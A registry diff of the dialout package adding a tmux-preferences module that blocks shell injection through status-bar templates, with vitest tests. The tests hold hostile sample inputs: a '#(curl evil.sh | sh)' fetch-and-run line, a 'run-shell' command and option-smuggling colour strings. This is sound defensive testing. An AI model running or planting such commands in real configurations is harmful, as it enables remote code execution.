@indianic/dialout 1.3.1 → 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/ai-sessions.d.ts +17 -0
- package/dist/ai-sessions.d.ts.map +1 -1
- package/dist/ai-sessions.js +58 -0
- package/dist/ai-sessions.js.map +1 -1
- package/dist/cli.js +100 -0
- package/dist/cli.js.map +1 -1
- package/dist/config.d.ts +2 -4
- package/dist/config.d.ts.map +1 -1
- package/dist/config.js +6 -31
- package/dist/config.js.map +1 -1
- package/dist/service-installer.d.ts +14 -0
- package/dist/service-installer.d.ts.map +1 -1
- package/dist/service-installer.js +44 -0
- package/dist/service-installer.js.map +1 -1
- package/dist/tmux-config.d.ts +3 -27
- package/dist/tmux-config.d.ts.map +1 -1
- package/dist/tmux-config.js +8 -64
- package/dist/tmux-config.js.map +1 -1
- package/dist/websocket.d.ts.map +1 -1
- package/dist/websocket.js +19 -0
- package/dist/websocket.js.map +1 -1
- package/node_modules/@dialout/shared/dist/index.d.ts +2 -0
- package/node_modules/@dialout/shared/dist/index.d.ts.map +1 -1
- package/node_modules/@dialout/shared/dist/index.js +9 -1
- package/node_modules/@dialout/shared/dist/tmux-prefs.d.ts +65 -0
- package/node_modules/@dialout/shared/dist/tmux-prefs.d.ts.map +1 -0
- package/node_modules/@dialout/shared/dist/tmux-prefs.js +132 -0
- package/node_modules/@dialout/shared/src/index.ts +6 -0
- package/node_modules/@dialout/shared/src/tmux-prefs.test.ts +113 -0
- package/node_modules/@dialout/shared/src/tmux-prefs.ts +162 -0
- package/package.json +1 -1
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
export interface TmuxStatusPrefs {
|
|
2
|
+
enabled: boolean;
|
|
3
|
+
position: 'top' | 'bottom';
|
|
4
|
+
bg: string;
|
|
5
|
+
fg: string;
|
|
6
|
+
left: string;
|
|
7
|
+
right: string;
|
|
8
|
+
}
|
|
9
|
+
export interface TmuxPrefs {
|
|
10
|
+
/**
|
|
11
|
+
* 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
|
|
12
|
+
* its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
|
|
13
|
+
* scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
|
|
14
|
+
*
|
|
15
|
+
* Browser sessions override this back to `on` per session, because a browser
|
|
16
|
+
* tab has no native selection of a remote pane to fall back on.
|
|
17
|
+
*/
|
|
18
|
+
mouse: 'native-select' | 'tmux';
|
|
19
|
+
/** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
|
|
20
|
+
attachMode: 'auto' | 'control' | 'normal';
|
|
21
|
+
historyLimit: number;
|
|
22
|
+
status: TmuxStatusPrefs;
|
|
23
|
+
}
|
|
24
|
+
export declare const STATUS_TOKENS: string[];
|
|
25
|
+
export declare const DEFAULT_TMUX_PREFS: TmuxPrefs;
|
|
26
|
+
/**
|
|
27
|
+
* Compile a status template to a tmux format string.
|
|
28
|
+
*
|
|
29
|
+
* A tmux config can execute shell — `#(...)` is command substitution and
|
|
30
|
+
* `run-shell` runs a command outright — so this is an injection surface with
|
|
31
|
+
* exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
|
|
32
|
+
* templates arrive over the network from a browser, it is the only thing
|
|
33
|
+
* between a settings form and arbitrary command execution on a developer's
|
|
34
|
+
* machine.
|
|
35
|
+
*
|
|
36
|
+
* Rejecting rather than escaping is deliberate for those two: no legitimate
|
|
37
|
+
* status bar needs either, and an escape that is one tmux release out of date
|
|
38
|
+
* fails open. The quote is escaped rather than rejected because a user may
|
|
39
|
+
* reasonably want one.
|
|
40
|
+
*/
|
|
41
|
+
export declare function compileStatusTemplate(template: string): string;
|
|
42
|
+
/** True when a status template is safe to store and render. */
|
|
43
|
+
export declare function isValidStatusTemplate(template: string): boolean;
|
|
44
|
+
export declare function isValidTmuxColor(value: string): boolean;
|
|
45
|
+
/** Longest status template we will store. Long enough for a real bar, short
|
|
46
|
+
* enough that nobody pastes a script into it. */
|
|
47
|
+
export declare const MAX_STATUS_TEMPLATE = 200;
|
|
48
|
+
/**
|
|
49
|
+
* Merge stored prefs over the defaults, validating as we go.
|
|
50
|
+
*
|
|
51
|
+
* Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
|
|
52
|
+
* would replace the whole status object and wipe every key the caller did not
|
|
53
|
+
* name. And an invalid value must fall back rather than reach tmux: a bad
|
|
54
|
+
* `mouse` string would render `set-option -g mouse sideways`, which tmux
|
|
55
|
+
* rejects — costing that line silently, since source-file warns and continues
|
|
56
|
+
* rather than aborting.
|
|
57
|
+
*
|
|
58
|
+
* Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
|
|
59
|
+
* That is what lets the same function guard a config file on disk and a JSON
|
|
60
|
+
* body from a browser.
|
|
61
|
+
*/
|
|
62
|
+
export declare function resolveTmuxPrefs(input?: {
|
|
63
|
+
tmux?: unknown;
|
|
64
|
+
} | null | undefined): TmuxPrefs;
|
|
65
|
+
//# sourceMappingURL=tmux-prefs.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"tmux-prefs.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.ts"],"names":[],"mappings":"AAWA,MAAM,WAAW,eAAe;IAC9B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,KAAK,GAAG,QAAQ,CAAC;IAC3B,EAAE,EAAE,MAAM,CAAC;IACX,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;CACf;AAED,MAAM,WAAW,SAAS;IACxB;;;;;;;OAOG;IACH,KAAK,EAAE,eAAe,GAAG,MAAM,CAAC;IAChC,+EAA+E;IAC/E,UAAU,EAAE,MAAM,GAAG,SAAS,GAAG,QAAQ,CAAC;IAC1C,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,eAAe,CAAC;CACzB;AAeD,eAAO,MAAM,aAAa,UAA6B,CAAC;AAExD,eAAO,MAAM,kBAAkB,EAAE,SAchC,CAAC;AAEF;;;;;;;;;;;;;;GAcG;AACH,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,CAa9D;AAED,+DAA+D;AAC/D,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO,CAO/D;AAOD,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,MAAM,GAAG,OAAO,CAEvD;AAED;kDACkD;AAClD,eAAO,MAAM,mBAAmB,MAAM,CAAC;AAEvC;;;;;;;;;;;;;GAaG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,GAAE;IAAE,IAAI,CAAC,EAAE,OAAO,CAAA;CAAE,GAAG,IAAI,GAAG,SAAc,GAAG,SAAS,CA2B7F"}
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
// tmux preferences: the shape, the defaults, and the validation.
|
|
3
|
+
//
|
|
4
|
+
// Shared because THREE places need the same answer and any drift between them
|
|
5
|
+
// is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
|
|
6
|
+
// validates what a browser sends before storing it, and the settings UI shows
|
|
7
|
+
// the same choices. The agent's own option list already existed twice once and
|
|
8
|
+
// silently drifted; this is the same mistake one layer up, so it is prevented
|
|
9
|
+
// rather than watched for.
|
|
10
|
+
//
|
|
11
|
+
// Rendering itself stays in the agent — only it produces a tmux file.
|
|
12
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
13
|
+
exports.MAX_STATUS_TEMPLATE = exports.DEFAULT_TMUX_PREFS = exports.STATUS_TOKENS = void 0;
|
|
14
|
+
exports.compileStatusTemplate = compileStatusTemplate;
|
|
15
|
+
exports.isValidStatusTemplate = isValidStatusTemplate;
|
|
16
|
+
exports.isValidTmuxColor = isValidTmuxColor;
|
|
17
|
+
exports.resolveTmuxPrefs = resolveTmuxPrefs;
|
|
18
|
+
// Status template tokens, compiled to tmux formats so nobody has to learn tmux
|
|
19
|
+
// format syntax to restyle the bar.
|
|
20
|
+
const TOKEN_FORMATS = {
|
|
21
|
+
// #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
|
|
22
|
+
folder: '#{b:pane_current_path}',
|
|
23
|
+
path: '#{pane_current_path}',
|
|
24
|
+
session: '#{session_name}',
|
|
25
|
+
window: '#{window_name}',
|
|
26
|
+
title: '#{=21:pane_title}',
|
|
27
|
+
time: '%H:%M',
|
|
28
|
+
date: '%d-%b-%y',
|
|
29
|
+
};
|
|
30
|
+
exports.STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
|
|
31
|
+
exports.DEFAULT_TMUX_PREFS = {
|
|
32
|
+
mouse: 'native-select',
|
|
33
|
+
attachMode: 'auto',
|
|
34
|
+
historyLimit: 100000,
|
|
35
|
+
status: {
|
|
36
|
+
enabled: true,
|
|
37
|
+
position: 'bottom',
|
|
38
|
+
// tmux's own default is bg=green,fg=black. Kept so an upgrade does not
|
|
39
|
+
// silently restyle a bar the user never asked to change.
|
|
40
|
+
bg: 'green',
|
|
41
|
+
fg: 'black',
|
|
42
|
+
left: '[[session]] ',
|
|
43
|
+
right: '[title] [time] [date]',
|
|
44
|
+
},
|
|
45
|
+
};
|
|
46
|
+
/**
|
|
47
|
+
* Compile a status template to a tmux format string.
|
|
48
|
+
*
|
|
49
|
+
* A tmux config can execute shell — `#(...)` is command substitution and
|
|
50
|
+
* `run-shell` runs a command outright — so this is an injection surface with
|
|
51
|
+
* exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
|
|
52
|
+
* templates arrive over the network from a browser, it is the only thing
|
|
53
|
+
* between a settings form and arbitrary command execution on a developer's
|
|
54
|
+
* machine.
|
|
55
|
+
*
|
|
56
|
+
* Rejecting rather than escaping is deliberate for those two: no legitimate
|
|
57
|
+
* status bar needs either, and an escape that is one tmux release out of date
|
|
58
|
+
* fails open. The quote is escaped rather than rejected because a user may
|
|
59
|
+
* reasonably want one.
|
|
60
|
+
*/
|
|
61
|
+
function compileStatusTemplate(template) {
|
|
62
|
+
const text = String(template);
|
|
63
|
+
if (text.includes('#(')) {
|
|
64
|
+
throw new Error('command substitution "#(" is not allowed in a status template');
|
|
65
|
+
}
|
|
66
|
+
if (/run-shell/i.test(text)) {
|
|
67
|
+
throw new Error('"run-shell" is not allowed in a status template');
|
|
68
|
+
}
|
|
69
|
+
// Escape backslash first, then the quote, or the escapes escape each other.
|
|
70
|
+
const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
|
|
71
|
+
// An unknown [token] is left verbatim: silently dropping it would make a typo
|
|
72
|
+
// look like the setting had no effect.
|
|
73
|
+
return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
|
|
74
|
+
}
|
|
75
|
+
/** True when a status template is safe to store and render. */
|
|
76
|
+
function isValidStatusTemplate(template) {
|
|
77
|
+
try {
|
|
78
|
+
compileStatusTemplate(template);
|
|
79
|
+
return true;
|
|
80
|
+
}
|
|
81
|
+
catch {
|
|
82
|
+
return false;
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
// tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
|
|
86
|
+
// interpolated straight into `status-style`, where a stray comma or quote is a
|
|
87
|
+
// second option rather than a colour.
|
|
88
|
+
const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
|
|
89
|
+
function isValidTmuxColor(value) {
|
|
90
|
+
return COLOR_RE.test(String(value || ''));
|
|
91
|
+
}
|
|
92
|
+
/** Longest status template we will store. Long enough for a real bar, short
|
|
93
|
+
* enough that nobody pastes a script into it. */
|
|
94
|
+
exports.MAX_STATUS_TEMPLATE = 200;
|
|
95
|
+
/**
|
|
96
|
+
* Merge stored prefs over the defaults, validating as we go.
|
|
97
|
+
*
|
|
98
|
+
* Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
|
|
99
|
+
* would replace the whole status object and wipe every key the caller did not
|
|
100
|
+
* name. And an invalid value must fall back rather than reach tmux: a bad
|
|
101
|
+
* `mouse` string would render `set-option -g mouse sideways`, which tmux
|
|
102
|
+
* rejects — costing that line silently, since source-file warns and continues
|
|
103
|
+
* rather than aborting.
|
|
104
|
+
*
|
|
105
|
+
* Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
|
|
106
|
+
* That is what lets the same function guard a config file on disk and a JSON
|
|
107
|
+
* body from a browser.
|
|
108
|
+
*/
|
|
109
|
+
function resolveTmuxPrefs(input = {}) {
|
|
110
|
+
const stored = (input && typeof input === 'object' ? input.tmux : null) || {};
|
|
111
|
+
const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
|
|
112
|
+
const oneOf = (value, allowed, fallback) => (allowed.includes(value) ? value : fallback);
|
|
113
|
+
const text = (value, fallback, valid) => (typeof value === 'string' && value.length <= exports.MAX_STATUS_TEMPLATE && valid(value)
|
|
114
|
+
? value
|
|
115
|
+
: fallback);
|
|
116
|
+
return {
|
|
117
|
+
mouse: oneOf(stored.mouse, ['native-select', 'tmux'], exports.DEFAULT_TMUX_PREFS.mouse),
|
|
118
|
+
attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'], exports.DEFAULT_TMUX_PREFS.attachMode),
|
|
119
|
+
historyLimit: Number.isInteger(stored.historyLimit)
|
|
120
|
+
&& stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
|
|
121
|
+
? stored.historyLimit
|
|
122
|
+
: exports.DEFAULT_TMUX_PREFS.historyLimit,
|
|
123
|
+
status: {
|
|
124
|
+
enabled: typeof status.enabled === 'boolean' ? status.enabled : exports.DEFAULT_TMUX_PREFS.status.enabled,
|
|
125
|
+
position: oneOf(status.position, ['top', 'bottom'], exports.DEFAULT_TMUX_PREFS.status.position),
|
|
126
|
+
bg: text(status.bg, exports.DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
|
|
127
|
+
fg: text(status.fg, exports.DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
|
|
128
|
+
left: text(status.left, exports.DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
|
|
129
|
+
right: text(status.right, exports.DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
|
|
130
|
+
},
|
|
131
|
+
};
|
|
132
|
+
}
|
|
@@ -30,3 +30,9 @@ export { FUNCTION_KEYS_PREF, getFunctionKeysVisible, setFunctionKeysVisible } fr
|
|
|
30
30
|
|
|
31
31
|
export type { TerminalNameVars } from './terminal-name';
|
|
32
32
|
export { DEFAULT_TERMINAL_TEMPLATE, TERMINAL_NAME_TOKENS, factsFromSession, renderTerminalName } from './terminal-name';
|
|
33
|
+
|
|
34
|
+
export type { TmuxPrefs, TmuxStatusPrefs } from './tmux-prefs';
|
|
35
|
+
export {
|
|
36
|
+
DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
|
|
37
|
+
compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor, resolveTmuxPrefs,
|
|
38
|
+
} from './tmux-prefs';
|
|
@@ -0,0 +1,113 @@
|
|
|
1
|
+
import { describe, it, expect } from 'vitest';
|
|
2
|
+
import {
|
|
3
|
+
resolveTmuxPrefs, compileStatusTemplate, isValidStatusTemplate, isValidTmuxColor,
|
|
4
|
+
DEFAULT_TMUX_PREFS, STATUS_TOKENS, MAX_STATUS_TEMPLATE,
|
|
5
|
+
} from './tmux-prefs';
|
|
6
|
+
|
|
7
|
+
describe('resolveTmuxPrefs', () => {
|
|
8
|
+
it('returns the defaults for an empty input', () => {
|
|
9
|
+
expect(resolveTmuxPrefs({})).toEqual(DEFAULT_TMUX_PREFS);
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
// The same function guards a config file on disk and a JSON body from a
|
|
13
|
+
// browser, so every shape of garbage has to come out as valid prefs.
|
|
14
|
+
it('survives null, undefined and non-objects', () => {
|
|
15
|
+
expect(resolveTmuxPrefs(null)).toEqual(DEFAULT_TMUX_PREFS);
|
|
16
|
+
expect(resolveTmuxPrefs(undefined)).toEqual(DEFAULT_TMUX_PREFS);
|
|
17
|
+
expect(resolveTmuxPrefs({ tmux: 'not an object' } as any)).toEqual(DEFAULT_TMUX_PREFS);
|
|
18
|
+
expect(resolveTmuxPrefs({ tmux: 42 } as any)).toEqual(DEFAULT_TMUX_PREFS);
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
it('overrides only what it names', () => {
|
|
22
|
+
const prefs = resolveTmuxPrefs({ tmux: { mouse: 'tmux' } });
|
|
23
|
+
expect(prefs.mouse).toBe('tmux');
|
|
24
|
+
expect(prefs.historyLimit).toBe(DEFAULT_TMUX_PREFS.historyLimit);
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
// status is nested; a shallow spread would wipe the siblings.
|
|
28
|
+
it('keeps unnamed status siblings', () => {
|
|
29
|
+
const prefs = resolveTmuxPrefs({ tmux: { status: { bg: 'colour238' } } });
|
|
30
|
+
expect(prefs.status.bg).toBe('colour238');
|
|
31
|
+
expect(prefs.status.fg).toBe(DEFAULT_TMUX_PREFS.status.fg);
|
|
32
|
+
expect(prefs.status.enabled).toBe(DEFAULT_TMUX_PREFS.status.enabled);
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
it('falls back rather than passing an unknown enum through to tmux', () => {
|
|
36
|
+
expect(resolveTmuxPrefs({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
|
|
37
|
+
expect(resolveTmuxPrefs({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
|
|
38
|
+
expect(resolveTmuxPrefs({ tmux: { status: { position: 'sideways' } } }).status.position)
|
|
39
|
+
.toBe('bottom');
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it('rejects a non-integer, negative or absurd history limit', () => {
|
|
43
|
+
for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
|
|
44
|
+
expect(resolveTmuxPrefs({ tmux: { historyLimit: bad } }).historyLimit)
|
|
45
|
+
.toBe(DEFAULT_TMUX_PREFS.historyLimit);
|
|
46
|
+
}
|
|
47
|
+
expect(resolveTmuxPrefs({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
// The one that matters once a browser can send this: a template carrying
|
|
51
|
+
// command substitution must never be stored.
|
|
52
|
+
it('rejects a status template containing command substitution', () => {
|
|
53
|
+
const prefs = resolveTmuxPrefs({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
|
|
54
|
+
expect(prefs.status.left).toBe(DEFAULT_TMUX_PREFS.status.left);
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
it('rejects a status template containing run-shell', () => {
|
|
58
|
+
const prefs = resolveTmuxPrefs({ tmux: { status: { right: 'x run-shell "id"' } } });
|
|
59
|
+
expect(prefs.status.right).toBe(DEFAULT_TMUX_PREFS.status.right);
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
it('rejects an over-long status template', () => {
|
|
63
|
+
const long = 'a'.repeat(MAX_STATUS_TEMPLATE + 1);
|
|
64
|
+
expect(resolveTmuxPrefs({ tmux: { status: { left: long } } }).status.left)
|
|
65
|
+
.toBe(DEFAULT_TMUX_PREFS.status.left);
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
it('rejects a colour that is not a colour', () => {
|
|
69
|
+
for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
|
|
70
|
+
expect(resolveTmuxPrefs({ tmux: { status: { bg: bad } } }).status.bg)
|
|
71
|
+
.toBe(DEFAULT_TMUX_PREFS.status.bg);
|
|
72
|
+
}
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it('accepts the colour forms tmux understands', () => {
|
|
76
|
+
for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
|
|
77
|
+
expect(resolveTmuxPrefs({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
describe('compileStatusTemplate', () => {
|
|
83
|
+
it('compiles every advertised token to something else', () => {
|
|
84
|
+
for (const token of STATUS_TOKENS) {
|
|
85
|
+
expect(compileStatusTemplate(`[${token}]`)).not.toBe(`[${token}]`);
|
|
86
|
+
}
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it('leaves an unknown token verbatim rather than dropping it', () => {
|
|
90
|
+
expect(compileStatusTemplate('[nonsense]')).toBe('[nonsense]');
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it('escapes a quote so it cannot end the emitted tmux string', () => {
|
|
94
|
+
expect(compileStatusTemplate('say "hi"')).not.toMatch(/(?<!\\)"/);
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
it('throws on command substitution and run-shell', () => {
|
|
98
|
+
expect(() => compileStatusTemplate('#(id)')).toThrow(/not allowed/i);
|
|
99
|
+
expect(() => compileStatusTemplate('run-shell id')).toThrow(/not allowed/i);
|
|
100
|
+
});
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
describe('validators', () => {
|
|
104
|
+
it('isValidStatusTemplate mirrors compileStatusTemplate', () => {
|
|
105
|
+
expect(isValidStatusTemplate('[folder]')).toBe(true);
|
|
106
|
+
expect(isValidStatusTemplate('#(id)')).toBe(false);
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
it('isValidTmuxColor rejects anything that could inject a second option', () => {
|
|
110
|
+
expect(isValidTmuxColor('green')).toBe(true);
|
|
111
|
+
expect(isValidTmuxColor('green,fg=red')).toBe(false);
|
|
112
|
+
});
|
|
113
|
+
});
|
|
@@ -0,0 +1,162 @@
|
|
|
1
|
+
// tmux preferences: the shape, the defaults, and the validation.
|
|
2
|
+
//
|
|
3
|
+
// Shared because THREE places need the same answer and any drift between them
|
|
4
|
+
// is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
|
|
5
|
+
// validates what a browser sends before storing it, and the settings UI shows
|
|
6
|
+
// the same choices. The agent's own option list already existed twice once and
|
|
7
|
+
// silently drifted; this is the same mistake one layer up, so it is prevented
|
|
8
|
+
// rather than watched for.
|
|
9
|
+
//
|
|
10
|
+
// Rendering itself stays in the agent — only it produces a tmux file.
|
|
11
|
+
|
|
12
|
+
export interface TmuxStatusPrefs {
|
|
13
|
+
enabled: boolean;
|
|
14
|
+
position: 'top' | 'bottom';
|
|
15
|
+
bg: string;
|
|
16
|
+
fg: string;
|
|
17
|
+
left: string;
|
|
18
|
+
right: string;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
export interface TmuxPrefs {
|
|
22
|
+
/**
|
|
23
|
+
* 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
|
|
24
|
+
* its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
|
|
25
|
+
* scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
|
|
26
|
+
*
|
|
27
|
+
* Browser sessions override this back to `on` per session, because a browser
|
|
28
|
+
* tab has no native selection of a remote pane to fall back on.
|
|
29
|
+
*/
|
|
30
|
+
mouse: 'native-select' | 'tmux';
|
|
31
|
+
/** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
|
|
32
|
+
attachMode: 'auto' | 'control' | 'normal';
|
|
33
|
+
historyLimit: number;
|
|
34
|
+
status: TmuxStatusPrefs;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Status template tokens, compiled to tmux formats so nobody has to learn tmux
|
|
38
|
+
// format syntax to restyle the bar.
|
|
39
|
+
const TOKEN_FORMATS: Record<string, string> = {
|
|
40
|
+
// #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
|
|
41
|
+
folder: '#{b:pane_current_path}',
|
|
42
|
+
path: '#{pane_current_path}',
|
|
43
|
+
session: '#{session_name}',
|
|
44
|
+
window: '#{window_name}',
|
|
45
|
+
title: '#{=21:pane_title}',
|
|
46
|
+
time: '%H:%M',
|
|
47
|
+
date: '%d-%b-%y',
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
export const STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
|
|
51
|
+
|
|
52
|
+
export const DEFAULT_TMUX_PREFS: TmuxPrefs = {
|
|
53
|
+
mouse: 'native-select',
|
|
54
|
+
attachMode: 'auto',
|
|
55
|
+
historyLimit: 100000,
|
|
56
|
+
status: {
|
|
57
|
+
enabled: true,
|
|
58
|
+
position: 'bottom',
|
|
59
|
+
// tmux's own default is bg=green,fg=black. Kept so an upgrade does not
|
|
60
|
+
// silently restyle a bar the user never asked to change.
|
|
61
|
+
bg: 'green',
|
|
62
|
+
fg: 'black',
|
|
63
|
+
left: '[[session]] ',
|
|
64
|
+
right: '[title] [time] [date]',
|
|
65
|
+
},
|
|
66
|
+
};
|
|
67
|
+
|
|
68
|
+
/**
|
|
69
|
+
* Compile a status template to a tmux format string.
|
|
70
|
+
*
|
|
71
|
+
* A tmux config can execute shell — `#(...)` is command substitution and
|
|
72
|
+
* `run-shell` runs a command outright — so this is an injection surface with
|
|
73
|
+
* exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
|
|
74
|
+
* templates arrive over the network from a browser, it is the only thing
|
|
75
|
+
* between a settings form and arbitrary command execution on a developer's
|
|
76
|
+
* machine.
|
|
77
|
+
*
|
|
78
|
+
* Rejecting rather than escaping is deliberate for those two: no legitimate
|
|
79
|
+
* status bar needs either, and an escape that is one tmux release out of date
|
|
80
|
+
* fails open. The quote is escaped rather than rejected because a user may
|
|
81
|
+
* reasonably want one.
|
|
82
|
+
*/
|
|
83
|
+
export function compileStatusTemplate(template: string): string {
|
|
84
|
+
const text = String(template);
|
|
85
|
+
if (text.includes('#(')) {
|
|
86
|
+
throw new Error('command substitution "#(" is not allowed in a status template');
|
|
87
|
+
}
|
|
88
|
+
if (/run-shell/i.test(text)) {
|
|
89
|
+
throw new Error('"run-shell" is not allowed in a status template');
|
|
90
|
+
}
|
|
91
|
+
// Escape backslash first, then the quote, or the escapes escape each other.
|
|
92
|
+
const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
|
|
93
|
+
// An unknown [token] is left verbatim: silently dropping it would make a typo
|
|
94
|
+
// look like the setting had no effect.
|
|
95
|
+
return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
/** True when a status template is safe to store and render. */
|
|
99
|
+
export function isValidStatusTemplate(template: string): boolean {
|
|
100
|
+
try {
|
|
101
|
+
compileStatusTemplate(template);
|
|
102
|
+
return true;
|
|
103
|
+
} catch {
|
|
104
|
+
return false;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
// tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
|
|
109
|
+
// interpolated straight into `status-style`, where a stray comma or quote is a
|
|
110
|
+
// second option rather than a colour.
|
|
111
|
+
const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
|
|
112
|
+
|
|
113
|
+
export function isValidTmuxColor(value: string): boolean {
|
|
114
|
+
return COLOR_RE.test(String(value || ''));
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
/** Longest status template we will store. Long enough for a real bar, short
|
|
118
|
+
* enough that nobody pastes a script into it. */
|
|
119
|
+
export const MAX_STATUS_TEMPLATE = 200;
|
|
120
|
+
|
|
121
|
+
/**
|
|
122
|
+
* Merge stored prefs over the defaults, validating as we go.
|
|
123
|
+
*
|
|
124
|
+
* Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
|
|
125
|
+
* would replace the whole status object and wipe every key the caller did not
|
|
126
|
+
* name. And an invalid value must fall back rather than reach tmux: a bad
|
|
127
|
+
* `mouse` string would render `set-option -g mouse sideways`, which tmux
|
|
128
|
+
* rejects — costing that line silently, since source-file warns and continues
|
|
129
|
+
* rather than aborting.
|
|
130
|
+
*
|
|
131
|
+
* Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
|
|
132
|
+
* That is what lets the same function guard a config file on disk and a JSON
|
|
133
|
+
* body from a browser.
|
|
134
|
+
*/
|
|
135
|
+
export function resolveTmuxPrefs(input: { tmux?: unknown } | null | undefined = {}): TmuxPrefs {
|
|
136
|
+
const stored = (input && typeof input === 'object' ? (input as any).tmux : null) || {};
|
|
137
|
+
const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
|
|
138
|
+
const oneOf = <T extends string>(value: unknown, allowed: readonly T[], fallback: T): T =>
|
|
139
|
+
((allowed as readonly unknown[]).includes(value) ? value as T : fallback);
|
|
140
|
+
const text = (value: unknown, fallback: string, valid: (v: string) => boolean): string =>
|
|
141
|
+
(typeof value === 'string' && value.length <= MAX_STATUS_TEMPLATE && valid(value)
|
|
142
|
+
? value
|
|
143
|
+
: fallback);
|
|
144
|
+
|
|
145
|
+
return {
|
|
146
|
+
mouse: oneOf(stored.mouse, ['native-select', 'tmux'] as const, DEFAULT_TMUX_PREFS.mouse),
|
|
147
|
+
attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'] as const,
|
|
148
|
+
DEFAULT_TMUX_PREFS.attachMode),
|
|
149
|
+
historyLimit: Number.isInteger(stored.historyLimit)
|
|
150
|
+
&& stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
|
|
151
|
+
? stored.historyLimit
|
|
152
|
+
: DEFAULT_TMUX_PREFS.historyLimit,
|
|
153
|
+
status: {
|
|
154
|
+
